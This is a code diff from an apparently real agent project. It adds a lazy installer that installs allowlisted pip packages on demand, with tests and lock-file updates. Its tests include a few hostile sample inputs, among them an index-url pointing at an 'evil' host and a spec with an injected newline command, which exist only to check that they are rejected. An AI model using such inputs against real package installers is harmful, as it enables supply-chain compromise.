rejected + "--index-url=http://evil/", + "-r requirements.txt", + # Whitespace control chars → rejected + "package\nshell-injection", + "package\rmore", + # Empty / overly long → rejected + "", + "x" * 500, + ]) + def test_unsafe_specs_rejected(self, spec): + assert not ld._spec_is_safe(spec), \ + f"expected {spec!r} to be rejected" + + +# --------------------------------------------------------------------------- +# Allowlist enforcement +# --------------------------------------------------------------------------- + + +class TestAllowlist: + def test_unknown_feature_raises(self, monkeypatch): + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"): + ld.ensure("not.a.real.feature") + + def test_lazy_deps_keys_use_namespace_dot_name(self): + # Sanity check on the data shape — every key should be at least + # one dot-separated namespace. + for key in ld.LAZY_DEPS: + assert "." in key, f"feature {key!r} should be namespace.name" + + def test_every_lazy_dep_spec_passes_safety(self): + # Defence in depth — even though specs are author-controlled, + # the safety regex must accept everything we ship. + for feature, specs in ld.LAZY_DEPS.items(): + for spec in specs: + assert ld._spec_is_safe(spec), \ + f"{feature}: spec {spec!r} fails safety check" + + def test_feature_install_command_returns_pip_invocation(self): + cmd = ld.feature_install_command("memory.honcho") + assert cmd is not None + assert cmd.startswith("uv pip install") + assert "honcho-ai" in cmd + + def test_feature_install_command_unknown(self): + assert ld.feature_install_command("not.real") is None + + +# --------------------------------------------------------------------------- +# allow_lazy_installs gating +# --------------------------------------------------------------------------- + + +class TestSecurityGating: + def test_disabled_via_config_raises(self, monkeypatch): + # Pretend honcho is missing AND lazy installs are disabled. + monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) + with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"): + ld.ensure("test.feat", prompt=False) + + def test_disabled_via_env_var(self, monkeypatch): + monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") + # Bypass config layer; the env var alone must disable. + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: {"security": {"allow_lazy_installs": True}}, + ) + assert ld._allow_lazy_installs() is False + + def test_default_allows(self, monkeypatch): + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: {"security": {}}, + ) + assert ld._allow_lazy_installs() is True + + def test_config_failure_fails_open(self, monkeypatch): + # If config can't be read at all, we ALLOW installs rather than + # blocking the user out of their own backends. + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: (_ for _ in ()).throw(RuntimeError("config broken")), + ) + assert ld._allow_lazy_installs() is True + + +# --------------------------------------------------------------------------- +# ensure() happy/sad paths +# --------------------------------------------------------------------------- + + +class TestEnsure: + def test_already_satisfied_is_noop(self, monkeypatch): + # If the package is importable, ensure() returns without calling pip. + monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) + # If pip were called, this would fail loudly. + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda *a, **kw: pytest.fail("pip should not be called"), + ) + ld.ensure("test.satisfied", prompt=False) # no exception + + def test_install_success_path(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",)) + # First check sees missing, post-install check sees installed. + call_count = {"n": 0} + + def fake_satisfied(spec): + call_count["n"] += 1 + return call_count["n"] > 1 # missing first, installed after + + monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult(True, "ok", ""), + ) + ld.ensure("test.install", prompt=False) + + def test_install_failure_surfaces_pip_stderr(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult( + False, "", "ERROR: package not found on PyPI" + ), + ) + with pytest.raises(ld.FeatureUnavailable, match="pip install failed"): + ld.ensure("test.fail", prompt=False) + + def test_install_succeeds_but_still_missing_raises(self, monkeypatch): + # Pip says success but the package still isn't importable + # (e.g. site-packages caching, wrong python). Surface this. + monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult(True, "ok", ""), + ) + with pytest.raises(ld.FeatureUnavailable, match="still not importable"): + ld.ensure("test.cache", prompt=False) + + +# --------------------------------------------------------------------------- +# is_available +# --------------------------------------------------------------------------- + + +class TestIsAvailable: + def test_unknown_feature_returns_false(self): + assert ld.is_available("not.a.thing") is False + + def test_satisfied_returns_true(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) + assert ld.is_available("test.avail") is True + + def test_missing_returns_false(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + assert ld.is_available("test.miss") is False diff --git a/tests/tools/test_windows_native_support.py b/tests/tools/test_windows_native_support.py index 4d4091e5fcb..550249b5ce3 100644 --- a/tests/tools/test_windows_native_support.py +++ b/tests/tools/test_windows_native_support.py @@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared: root = Path(__file__).resolve().parents[2] source = (root / "pyproject.toml").read_text(encoding="utf-8") # The dependency line should be conditional on sys_platform == 'win32' - # and should NOT be in the core dependencies for Linux/macOS. - assert ( - 'tzdata>=2023.3; sys_platform == \'win32\'' in source - or "tzdata>=2023.3; sys_platform == 'win32'" in source - or 'tzdata>=2023.3; sys_platform == "win32"' in source - ), "tzdata must be a Windows-only dep in pyproject.toml dependencies" + # and should NOT be in the core dependencies for Linux/macOS. We do + # not care about the exact pinned version (which is bumped over time) + # — only that tzdata is declared with a win32 marker. This is an + # invariant check, not a snapshot test. + import re + # Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version + # specifier in between (==X.Y.Z, >=X.Y.Z, Non _save_snapshots(snapshots) +def _ensure_modal_sdk() -> None: + """Lazy-install modal on demand. Idempotent — fast no-op once installed.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.modal", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) + + def _resolve_modal_image(image_spec: Any) -> Any: """Convert registry references or snapshot ids into Modal image objects. Includes add_python support for ubuntu/debian images (absorbed from PR 4511). """ + _ensure_modal_sdk() import modal as _modal if not isinstance(image_spec, str): @@ -183,6 +195,7 @@ class ModalEnvironment(BaseEnvironment): if restored_snapshot_id: logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20]) + _ensure_modal_sdk() import modal as _modal cred_mounts = [] diff --git a/tools/environments/vercel_sandbox.py b/tools/environments/vercel_sandbox.py index b381eb77cd2..70edd54ad4a 100644 --- a/tools/environments/vercel_sandbox.py +++ b/tools/environments/vercel_sandbox.py @@ -42,6 +42,19 @@ if TYPE_CHECKING: DEFAULT_VERCEL_CWD = "/vercel/sandbox" _DEFAULT_CONTAINER_DISK_MB = 51200 + + +def _ensure_vercel_sdk() -> None: + """Lazy-install vercel SDK on demand. Idempotent.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.vercel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) + + _CREATE_RETRY_ATTEMPTS = 3 _WRITE_RETRY_ATTEMPTS = 3 _TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504}) @@ -194,6 +207,7 @@ def _extract_snapshot_id(snapshot: Any) -> str | None: @cache def _sandbox_status_type() -> type[SandboxStatus]: + _ensure_vercel_sdk() from vercel.sandbox import SandboxStatus return SandboxStatus @@ -260,6 +274,7 @@ class VercelSandboxEnvironment(BaseEnvironment): "Use the default shared setting." ) + _ensure_vercel_sdk() from vercel.sandbox import Resources sandbox_timeout = max( @@ -281,6 +296,7 @@ class VercelSandboxEnvironment(BaseEnvironment): ) def _create_sandbox(self) -> Sandbox: + _ensure_vercel_sdk() from vercel.sandbox import Sandbox snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None diff --git a/tools/image_generation_tool.py b/tools/image_generation_tool.py index a545a85d9fc..c496166ec98 100644 --- a/tools/image_generation_tool.py +++ b/tools/image_generation_tool.py @@ -52,6 +52,13 @@ def _load_fal_client() -> Any: global fal_client if fal_client is not None: return fal_client + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("image.fal", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) import fal_client as _fal_client # noqa: F811 — module-global rebind fal_client = _fal_client return fal_client diff --git a/tools/lazy_deps.py b/tools/lazy_deps.py new file mode 100644 index 00000000000..d086d117307 --- /dev/null +++ b/tools/lazy_deps.py @@ -0,0 +1,441 @@ +""" +Lazy dependency installer for opt-in Hermes Agent backends. + +Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock, +Slack, Matrix, etc.) require Python packages that not every user needs. The +historical approach was to bundle them all under ``pyproject.toml`` extras +(``hermes-agent[all]``) and install them eagerly at setup time. That has +two problems: + +1. **Fragility.** When one extra's transitive dependency becomes + unavailable on PyPI (quarantined for malware, yanked, broken upload), + the *entire* ``[all]`` resolve fails and fresh installs silently fall + back to a stripped tier — losing 10+ unrelated extras at once. + +2. **Bloat.** A user who only ever talks to one provider pulls hundreds + of packages they will never import. + +The lazy-install pattern fixes both. Backends call :func:`ensure` at the +top of their first-import path. If the deps are missing, ``ensure`` checks +the ``security.allow_lazy_installs`` config flag (default true) and runs +a venv-scoped pip install. If the user has explicitly disabled lazy +installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear +remediation hint pointing at ``hermes tools`` or the manual pip command. + +Security model: + +* **Venv-scoped only.** Installs target ``sys.executable`` in the active + venv. We never touch the system Python. +* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc. + We do NOT support ``--index-url`` overrides, ``git+https://``, file: + paths, or any other input that could be hijacked by a malicious config. +* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be + installed via this path. A typo in feature name doesn't get the user + install-anything semantics. +* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in + ``config.yaml`` disables runtime installs. Users in restricted networks + or strict security postures can pin themselves to whatever was installed + at setup time. +* **Offline detection.** If the install fails (offline, mirror down, + PyPI 404 / quarantine), we surface the failure as + :class:`FeatureUnavailable` with the actual pip stderr — no silent + retries, no caching of bad state. + +Adding a new backend: + +1. Add an entry to :data:`LAZY_DEPS` with the package specs. +2. At the top of the backend module's import path, call + ``ensure("feature.name")`` inside a try/except that converts + :class:`FeatureUnavailable` to a useful runtime error. +""" + +from __future__ import annotations + +import logging +import os +import re +import shutil +import subprocess +import sys +from dataclasses import dataclass +from pathlib import Path +from typing import Optional + +logger = logging.getLogger(__name__) + + +# ============================================================================= +# Allowlist of lazy-installable backends. +# +# Keys are dot-separated feature names ("namespace.backend"). Values are +# tuples of pip-installable specs that match the corresponding extra in +# pyproject.toml. The framework enforces that only specs from this map +# can flow into the pip install command. +# ============================================================================= + + +LAZY_DEPS: dict[str, tuple[str, ...]] = { + # ─── Inference providers ─────────────────────────────────────────────── + # Native Anthropic SDK — needed when provider=anthropic (not via + # OpenRouter / aggregators which use the openai SDK). + "provider.anthropic": ("anthropic==0.86.0",), + # AWS Bedrock provider + "provider.bedrock": ("boto3==1.42.89",), + + # ─── Web search backends ─────────────────────────────────────────────── + "search.exa": ("exa-py==2.10.2",), + "search.firecrawl": ("firecrawl-py==4.17.0",), + "search.parallel": ("parallel-web==0.4.2",), + + # ─── TTS providers ───────────────────────────────────────────────────── + # Pinned to exact versions to match pyproject.toml's no-ranges policy + # (see comment at top of [project.dependencies]). When bumping, update + # both this map AND the corresponding extra in pyproject.toml. + # + # NOTE: tts.mistral / stt.mistral entries are intentionally absent — + # the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini + # Shai-Hulud worm). Re-add when PyPI restores a clean release; see + # comment in pyproject.toml above the (removed) `mistral` extra for + # the full restoration checklist. + "tts.edge": ("edge-tts==7.2.7",), + "tts.elevenlabs": ("elevenlabs==1.59.0",), + + # ─── Speech-to-text providers ────────────────────────────────────────── + "stt.faster_whisper": ( + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", + ), + + # ─── Image generation backends ───────────────────────────────────────── + "image.fal": ("fal-client==0.13.1",), + + # ─── Memory providers ────────────────────────────────────────────────── + "memory.honcho": ("honcho-ai==2.0.1",), + "memory.hindsight": ("hindsight-client==0.6.1",), + + # ─── Messaging platforms (lazy-installable on demand) ────────────────── + "platform.telegram": ("python-telegram-bot[webhooks]==22.6",), + "platform.discord": ("discord.py[voice]==2.7.1",), + "platform.slack": ( + "slack-bolt==1.27.0", + "slack-sdk==3.40.1", + ), + "platform.matrix": ( + "mautrix[encryption]==0.21.0", + "Markdown==3.10.2", + "aiosqlite==0.22.1", + "asyncpg==0.31.0", + "aiohttp-socks==0.11.0", + ), + "platform.dingtalk": ( + "dingtalk-stream==0.24.3", + "alibabacloud-dingtalk==2.2.42", + "qrcode==7.4.2", + ), + "platform.feishu": ( + "lark-oapi==1.5.3", + "qrcode==7.4.2", + ), + + # ─── Terminal backends ───────────────────────────────────────────────── + "terminal.modal": ("modal==1.3.4",), + "terminal.daytona": ("daytona==0.155.0",), + "terminal.vercel": ("vercel==0.5.7",), + + # ─── Skills ──────────────────────────────────────────────────────────── + "skill.google_workspace": ( + "google-api-python-client==2.194.0", + "google-auth-oauthlib==1.3.1", + "google-auth-httplib2==0.3.1", + ), + "skill.youtube": ("youtube-transcript-api==1.2.4",), + + # ─── Tools ───────────────────────────────────────────────────────────── + # ACP adapter (VS Code / Zed / JetBrains integration) + "tool.acp": ("agent-client-protocol==0.9.0",), + # Dashboard (`hermes dashboard`) + "tool.dashboard": ( + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", + ), +} + + +# Conservative regex for spec validation — package name plus optional +# version range. Reject anything that looks like a URL, file path, or shell +# metacharacter. +_SAFE_SPEC = re.compile( + r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name + r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras] + r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier + r"$" +) + + +class FeatureUnavailable(RuntimeError): + """A lazily-installable feature is missing and cannot be made available. + + Either the deps were never installed and the user has disabled lazy + installs, or the install attempt failed. + """ + + def __init__(self, feature: str, missing: tuple[str, ...], reason: str): + self.feature = feature + self.missing = missing + self.reason = reason + super().__init__(self._format()) + + def _format(self) -> str: + spec_list = " ".join(repr(s) for s in self.missing) + return ( + f"Feature {self.feature!r} unavailable: {self.reason}. " + f"To enable manually: uv pip install {spec_list} " + f"(or: pip install {spec_list})." + ) + + +@dataclass(frozen=True) +class _InstallResult: + success: bool + stdout: str + stderr: str + + +# ============================================================================= +# Internals +# ============================================================================= + + +def _allow_lazy_installs() -> bool: + """Return the ``security.allow_lazy_installs`` config flag. + + Defaults to True. If config is unreadable we fail open (allow), because + refusing to install would lock people out of their own backends; the + decision to block is an explicit user opt-in. + """ + if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1": + return False + try: + from hermes_cli.config import load_config + cfg = load_config() + except Exception: + return True + sec = cfg.get("security") or {} + val = sec.get("allow_lazy_installs", True) + return bool(val) + + +def _spec_is_safe(spec: str) -> bool: + """Reject pip specs that contain URLs, paths, or shell metacharacters.""" + if not spec or len(spec) > 200: + return False + if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")): + return False + if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec: + return False + return bool(_SAFE_SPEC.match(spec)) + + +def _pkg_name_from_spec(spec: str) -> str: + """Extract the bare package name from a pip spec. + + ``"slack-bolt>=1.18.0,<2"`` → ``"slack-bolt"`` + ``"mautrix[encryption]>=0.20"`` → ``"mautrix"`` + """ + m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec) + return m.group(1) if m else spec + + +def _is_satisfied(spec: str) -> bool: + """Best-effort check: is ``spec`` already satisfied in the current env? + + We don't enforce the version range — if the package is importable + we assume the user knows what they're doing. This matches how the + lazy-import sites already behave. + """ + pkg = _pkg_name_from_spec(spec) + try: + from importlib.metadata import PackageNotFoundError, version + except ImportError: + return False + try: + version(pkg) + return True + except PackageNotFoundError: + return False + except Exception: + return False + + +def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult: + """Install ``specs`` into the active venv using uv → pip → ensurepip ladder. + + Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but + kept independent here so this module has no CLI dependency. + """ + if not specs: + return _InstallResult(True, "", "") + + venv_root = Path(sys.executable).parent.parent + uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)} + + # Tier 1: uv (preferred — fast, doesn't need pip in the venv) + uv_bin = shutil.which("uv") + if uv_bin: + try: + r = subprocess.run( + [uv_bin, "pip", "install", *specs], + capture_output=True, text=True, timeout=timeout, env=uv_env, + ) + if r.returncode == 0: + return _InstallResult(True, r.stdout or "", r.stderr or "") + logger.debug("uv pip install failed: %s", r.stderr) + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + logger.debug("uv invocation failed: %s", e) + + # Tier 2: python -m pip (with ensurepip bootstrap if needed) + pip_cmd = [sys.executable, "-m", "pip"] + try: + probe = subprocess.run( + pip_cmd + ["--version"], + capture_output=True, text=True, timeout=15, + ) + if probe.returncode != 0: + raise FileNotFoundError("pip not in venv") + except (subprocess.TimeoutExpired, FileNotFoundError): + try: + subprocess.run( + [sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"], + capture_output=True, text=True, timeout=120, check=True, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e: + return _InstallResult(False, "", + f"pip not available and ensurepip failed: {e}") + + try: + r = subprocess.run( + pip_cmd + ["install", *specs], + capture_output=True, text=True, timeout=timeout, + ) + return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "") + except subprocess.TimeoutExpired as e: + return _InstallResult(False, "", f"pip install timed out: {e}") + except Exception as e: + return _InstallResult(False, "", f"pip install failed: {e}") + + +# ============================================================================= +# Public API +# ============================================================================= + + +def feature_specs(feature: str) -> tuple[str, ...]: + """Return the registered specs for a feature, or raise KeyError.""" + if feature not in LAZY_DEPS: + raise KeyError(f"Unknown lazy feature: {feature!r}") + return LAZY_DEPS[feature] + + +def feature_missing(feature: str) -> tuple[str, ...]: + """Return the subset of specs for ``feature`` not currently installed.""" + return tuple(s for s in feature_specs(feature) if not _is_satisfied(s)) + + +def ensure(feature: str, *, prompt: bool = True) -> None: + """Make sure all packages for ``feature`` are importable. + + If they're missing, attempts to install them in the active venv. Raises + :class:`FeatureUnavailable` if the user has disabled lazy installs or + if the install attempt fails. + + ``prompt``: when True (default) and stdin is a TTY, asks the user to + confirm before installing. Non-interactive callers (gateway, cron, + batch) get prompt=False and skip the confirmation — config flag is + the gate in that case. + """ + if feature not in LAZY_DEPS: + raise FeatureUnavailable( + feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist" + ) + + missing = feature_missing(feature) + if not missing: + return + + # Validate every spec against the allowlist + safety regex. Belt and + # braces — the keys-in-LAZY_DEPS check above already constrains this. + for spec in missing: + if not _spec_is_safe(spec): + raise FeatureUnavailable( + feature, missing, + f"refusing to install unsafe spec {spec!r}" + ) + + if not _allow_lazy_installs(): + raise FeatureUnavailable( + feature, missing, + "lazy installs disabled (security.allow_lazy_installs=false)" + ) + + if prompt and sys.stdin.isatty() and sys.stdout.isatty(): + spec_list = ", ".join(missing) + try: + answer = input( + f"\nFeature {feature!r} requires: {spec_list}\n" + f"Install into the active venv now? [Y/n] " + ).strip().lower() + except (EOFError, KeyboardInterrupt): + answer = "n" + if answer and answer not in ("y", "yes"): + raise FeatureUnavailable( + feature, missing, "user declined install at prompt" + ) + + logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature) + result = _venv_pip_install(missing) + if not result.success: + # Surface the actual pip error so the user can debug PyPI-side + # issues (404 quarantine, network down, etc.). + snippet = (result.stderr or result.stdout or "").strip() + if snippet: + # Clip to a readable size — pip can dump pages of resolution traces. + snippet = snippet[-2000:] + raise FeatureUnavailable( + feature, missing, + f"pip install failed: {snippet or 'no error output'}" + ) + + # Verify post-install. importlib.metadata caches per-process, so if we + # just installed something the cache may not see it without a refresh. + try: + import importlib.metadata as _md + if hasattr(_md, "_cache_clear"): + _md._cache_clear() # type: ignore[attr-defined] + except Exception: + pass + + still_missing = feature_missing(feature) + if still_missing: + raise FeatureUnavailable( + feature, still_missing, + "install reported success but packages still not importable " + "(may require Python restart)" + ) + + logger.info("Lazy install complete for feature %r", feature) + + +def is_available(feature: str) -> bool: + """Return True if the feature's deps are already satisfied.""" + if feature not in LAZY_DEPS: + return False + return not feature_missing(feature) + + +def feature_install_command(feature: str) -> Optional[str]: + """Return the ``pip install`` command a user could run manually, or None.""" + if feature not in LAZY_DEPS: + return None + specs = LAZY_DEPS[feature] + return "uv pip install " + " ".join(repr(s) for s in specs) diff --git a/tools/tts_tool.py b/tools/tts_tool.py index 31e080332b1..1ea3ba21c63 100644 --- a/tools/tts_tool.py +++ b/tools/tts_tool.py @@ -80,11 +80,34 @@ from tools.xai_http import hermes_xai_user_agent def _import_edge_tts(): """Lazy import edge_tts. Returns the module or raises ImportError.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("tts.edge", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) import edge_tts return edge_tts def _import_elevenlabs(): - """Lazy import ElevenLabs client. Returns the class or raises ImportError.""" + """Lazy import ElevenLabs client. Returns the class or raises ImportError. + + Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on + demand if the user picked ElevenLabs as their TTS provider but never ran + the post-setup hook (e.g. enabled it by editing config.yaml directly). + Raises ``ImportError`` on lazy-install failure so existing callers' + error-handling paths keep working. + """ + try: + from tools.lazy_deps import FeatureUnavailable, ensure + ensure("tts.elevenlabs", prompt=False) + except ImportError: + # lazy_deps module itself missing — fall through to the raw import + # so older code paths still get a clean ImportError. + pass + except Exception as e: # FeatureUnavailable or any unexpected error + raise ImportError(str(e)) from elevenlabs.client import ElevenLabs return ElevenLabs diff --git a/tools/web_tools.py b/tools/web_tools.py index ba14b07a41c..401a34a5736 100644 --- a/tools/web_tools.py +++ b/tools/web_tools.py @@ -64,6 +64,13 @@ def _load_firecrawl_cls() -> type: """Import and cache ``firecrawl.Firecrawl``.""" global _FIRECRAWL_CLS_CACHE if _FIRECRAWL_CLS_CACHE is None: + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.firecrawl", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from firecrawl import Firecrawl as _cls _FIRECRAWL_CLS_CACHE = _cls return _FIRECRAWL_CLS_CACHE @@ -358,6 +365,13 @@ def _get_parallel_client(): Requires PARALLEL_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.parallel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from parallel import Parallel global _parallel_client if _parallel_client is None: @@ -376,6 +390,13 @@ def _get_async_parallel_client(): Requires PARALLEL_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.parallel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from parallel import AsyncParallel global _async_parallel_client if _async_parallel_client is None: @@ -990,6 +1011,13 @@ def _get_exa_client(): Requires EXA_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.exa", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from exa_py import Exa global _exa_client if _exa_client is None: diff --git a/uv.lock b/uv.lock index 93fe3d6f0ee..5051fdf0727 100644 --- a/uv.lock +++ b/uv.lock @@ -1394,15 +1394,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" }, ] -[[package]] -name = "eval-type-backport" -version = "0.3.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/fb/a3/cafafb4558fd638aadfe4121dc6cefb8d743368c085acb2f521df0f3d9d7/eval_type_backport-0.3.1.tar.gz", hash = "sha256:57e993f7b5b69d271e37482e62f74e76a0276c82490cf8e4f0dffeb6b332d5ed", size = 9445, upload-time = "2025-12-02T11:51:42.987Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/cf/22/fdc2e30d43ff853720042fa15baa3e6122722be1a7950a98233ebb55cd71/eval_type_backport-0.3.1-py3-none-any.whl", hash = "sha256:279ab641905e9f11129f56a8a78f493518515b83402b860f6f06dd7c011fdfa8", size = 6063, upload-time = "2025-12-02T11:51:41.665Z" }, -] - [[package]] name = "exa-py" version = "2.10.2" @@ -1962,17 +1953,11 @@ name = "hermes-agent" version = "0.13.0" source = { editable = "." } dependencies = [ - { name = "anthropic" }, { name = "croniter" }, - { name = "edge-tts" }, - { name = "exa-py" }, - { name = "fal-client" }, { name = "fire" }, - { name = "firecrawl-py" }, { name = "httpx", extra = ["socks"] }, { name = "jinja2" }, { name = "openai" }, - { name = "parallel-web" }, { name = "prompt-toolkit" }, { name = "psutil" }, { name = "pydantic" }, @@ -1996,15 +1981,20 @@ all = [ { name = "aiohttp-socks", marker = "sys_platform == 'linux'" }, { name = "aiosqlite", marker = "sys_platform == 'linux'" }, { name = "alibabacloud-dingtalk" }, + { name = "anthropic" }, { name = "asyncpg", marker = "sys_platform == 'linux'" }, { name = "boto3" }, { name = "daytona" }, { name = "debugpy" }, { name = "dingtalk-stream" }, { name = "discord-py", extra = ["voice"] }, + { name = "edge-tts" }, { name = "elevenlabs" }, + { name = "exa-py" }, + { name = "fal-client" }, { name = "fastapi" }, { name = "faster-whisper" }, + { name = "firecrawl-py" }, { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, { name = "google-auth-oauthlib" }, @@ -2013,9 +2003,9 @@ all = [ { name = "markdown", marker = "sys_platform == 'linux'" }, { name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" }, { name = "mcp" }, - { name = "mistralai" }, { name = "modal" }, { name = "numpy" }, + { name = "parallel-web" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pytest" }, { name = "pytest-asyncio" }, @@ -2034,6 +2024,9 @@ all = [ { name = "vercel" }, { name = "youtube-transcript-api" }, ] +anthropic = [ + { name = "anthropic" }, +] bedrock = [ { name = "boto3" }, ] @@ -2061,10 +2054,22 @@ dingtalk = [ { name = "dingtalk-stream" }, { name = "qrcode" }, ] +edge-tts = [ + { name = "edge-tts" }, +] +exa = [ + { name = "exa-py" }, +] +fal = [ + { name = "fal-client" }, +] feishu = [ { name = "lark-oapi" }, { name = "qrcode" }, ] +firecrawl = [ + { name = "firecrawl-py" }, +] google = [ { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, @@ -2097,12 +2102,12 @@ messaging = [ { name = "slack-bolt" }, { name = "slack-sdk" }, ] -mistral = [ - { name = "mistralai" }, -] modal = [ { name = "modal" }, ] +parallel-web = [ + { name = "parallel-web" }, +] pty = [ { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, @@ -2145,7 +2150,6 @@ termux-all = [ { name = "honcho-ai" }, { name = "lark-oapi" }, { name = "mcp" }, - { name = "mistralai" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "python-telegram-bot", extra = ["webhooks"] }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, @@ -2179,36 +2183,37 @@ youtube = [ [package.metadata] requires-dist = [ - { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = ">=0.9.0,<1.0" }, - { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = ">=3.9.0,<4" }, - { name = "aiohttp", marker = "extra == 'messaging'", specifier = ">=3.13.3,<4" }, - { name = "aiohttp", marker = "extra == 'sms'", specifier = ">=3.9.0,<4" }, - { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = ">=0.10,<1" }, - { name = "aiosqlite", marker = "extra == 'matrix'", specifier = ">=0.20" }, - { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = ">=2.0.0" }, - { name = "anthropic", specifier = ">=0.39.0,<1" }, - { name = "asyncpg", marker = "extra == 'matrix'", specifier = ">=0.29" }, + { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" }, + { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" }, + { name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" }, + { name = "aiohttp", marker = "extra == 